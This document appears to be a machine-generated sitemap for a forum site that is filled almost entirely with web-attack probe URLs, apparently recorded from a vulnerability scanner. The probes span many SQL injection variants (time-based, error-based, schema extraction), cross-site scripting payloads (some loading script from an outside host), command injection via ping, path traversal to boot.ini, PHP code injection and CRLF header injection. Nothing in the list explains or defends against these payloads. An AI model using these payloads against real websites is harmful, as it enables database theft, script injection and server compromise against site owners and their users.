http://www.cncml.com/forum.php?showoldetails=no%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/forum.php?showoldetails=no%22)%20AND%2067=83%20AND%20(%22Gy%22=%22Gy 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25%22%29%20AND%2077%3D18%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25%27%29%20AND%2035%3D35%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25%27%29%20AND%2087%3D51%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25'%20AND%2052=97%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25'%20AND%2095=95%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(79=79)%20THEN%200x6E6F%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(82=18)%20THEN%200x6E6F%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%2527 0.0001 http://www.cncml.com/forum.php?showoldetails=no%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/forum.php?showoldetails=no%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?showoldetails=no%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=no%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=no%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=no%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=no%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=no%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=no%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=no%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=no%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=no%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=no%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/forum.php?showoldetails=no%5B%5D 0.0001 http://www.cncml.com/forum.php?showoldetails=no%5C%22 0.0001 http://www.cncml.com/forum.php?showoldetails=no%5C' 0.0001 http://www.cncml.com/forum.php?showoldetails=no%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/forum.php?showoldetails=no%bf%27 0.0001 http://www.cncml.com/forum.php?showoldetails=no&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/forum.php?showoldetails=no' 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND%20'Vr'='pf 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND%20'W4'%20LIKE%20'W4 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND%20'cg'='cg 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND%20'gJ'%20LIKE%20'3G 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(54=59)%20THEN%200x6E6F%20ELSE%200x28%20END))%20AND%20'2V'='2V 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(84=84)%20THEN%200x6E6F%20ELSE%200x28%20END))%20AND%20'mg'='mg 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%22 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/forum.php?showoldetails=no'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20AND%20('7P'%20LIKE%20'Rd 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20AND%20('HE'%20LIKE%20'HE 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20AND%2029=14%20AND%20('w0'='w0 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20AND%2093=93%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20OR%2027=27%20AND%20('lj'='lj 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x6E6F%20ELSE%200x28%20END))%20AND%20('fs'='fs 0.0001 http://www.cncml.com/forum.php?showoldetails=no')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(13=72)%20THEN%200x6E6F%20ELSE%200x28%20END))%20AND%20('Qe'='Qe 0.0001 http://www.cncml.com/forum.php?showoldetails=no'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/forum.php?showoldetails=no) 0.0001 http://www.cncml.com/forum.php?showoldetails=no)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?showoldetails=no)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/forum.php?showoldetails=no)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?showoldetails=no)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?showoldetails=no)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?showoldetails=no)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?showoldetails=no)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/forum.php?showoldetails=no)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/forum.php?showoldetails=no)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(34=68)%20THEN%200x6E6F%20ELSE%200x28%20END))%20AND%20(34=34 0.0001 http://www.cncml.com/forum.php?showoldetails=no)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%200x6E6F%20ELSE%200x28%20END))%20AND%20(45=45 0.0001 http://www.cncml.com/forum.php?showoldetails=no,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?showoldetails=no,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?showoldetails=no,(SELECT%20(CASE%20WHEN%20(18=18)%20THEN%200x6E6F%20ELSE%2018*(SELECT%2018%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?showoldetails=no,(SELECT%20(CASE%20WHEN%20(19=71)%20THEN%200x6E6F%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?showoldetails=no,(SELECT%20(CASE%20WHEN%20(46=19)%20THEN%200x6E6F%20ELSE%2046*(SELECT%2046%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?showoldetails=no,(SELECT%20(CASE%20WHEN%20(49=67)%20THEN%200x6E6F%20ELSE%2049*(SELECT%2049%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?showoldetails=no,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?showoldetails=no,(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%200x6E6F%20ELSE%2071*(SELECT%2071%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?showoldetails=no,(SELECT%20(CASE%20WHEN%20(72=72)%20THEN%200x6E6F%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?showoldetails=no,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?showoldetails=no,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/forum.php?showoldetails=no,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?showoldetails=no/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?showoldetails=no1 0.0001 http://www.cncml.com/forum.php?showoldetails=no6633x3X6 0.0001 http://www.cncml.com/forum.php?showoldetails=no;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?showoldetails=no;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?showoldetails=no;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?showoldetails=noAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/forum.php?showoldetails=noAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/forum.php?showoldetails=noJyI%3D 0.0001 http://www.cncml.com/forum.php?showoldetails=noa' 0.0001 http://www.cncml.com/forum.php?showoldetails=noalert(42873) 0.0001 http://www.cncml.com/forum.php?showoldetails=noe360 0.0001 http://www.cncml.com/forum.php?showoldetails=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?showoldetails=phpinfo 0.0001 http://www.cncml.com/forum.php?showoldetails=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?showoldetails=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=%3Cdir 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=(SELECT%20(CASE%20WHEN%20(12=12)%20THEN%200x7265646972656374%20ELSE%2012*(SELECT%2012%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=(SELECT%20(CASE%20WHEN%20(12=17)%20THEN%200x7265646972656374%20ELSE%2012*(SELECT%2012%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=(SELECT%20(CASE%20WHEN%20(19=19)%20THEN%200x7265646972656374%20ELSE%2019*(SELECT%2019%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=(SELECT%20(CASE%20WHEN%20(19=19)%20THEN%200x7265646972656374%20ELSE%2019*(SELECT%2019%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=(SELECT%20(CASE%20WHEN%20(67=67)%20THEN%200x7265646972656374%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=(SELECT%20(CASE%20WHEN%20(68=62)%20THEN%200x7265646972656374%20ELSE%2068*(SELECT%2068%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=(SELECT%20(CASE%20WHEN%20(81=23)%20THEN%200x7265646972656374%20ELSE%2081*(SELECT%2081%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?tid=224&goto=lastpost&mod=(SELECT%20(CASE%20WHEN%20(86=98)%20THEN%200x7265646972656374%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 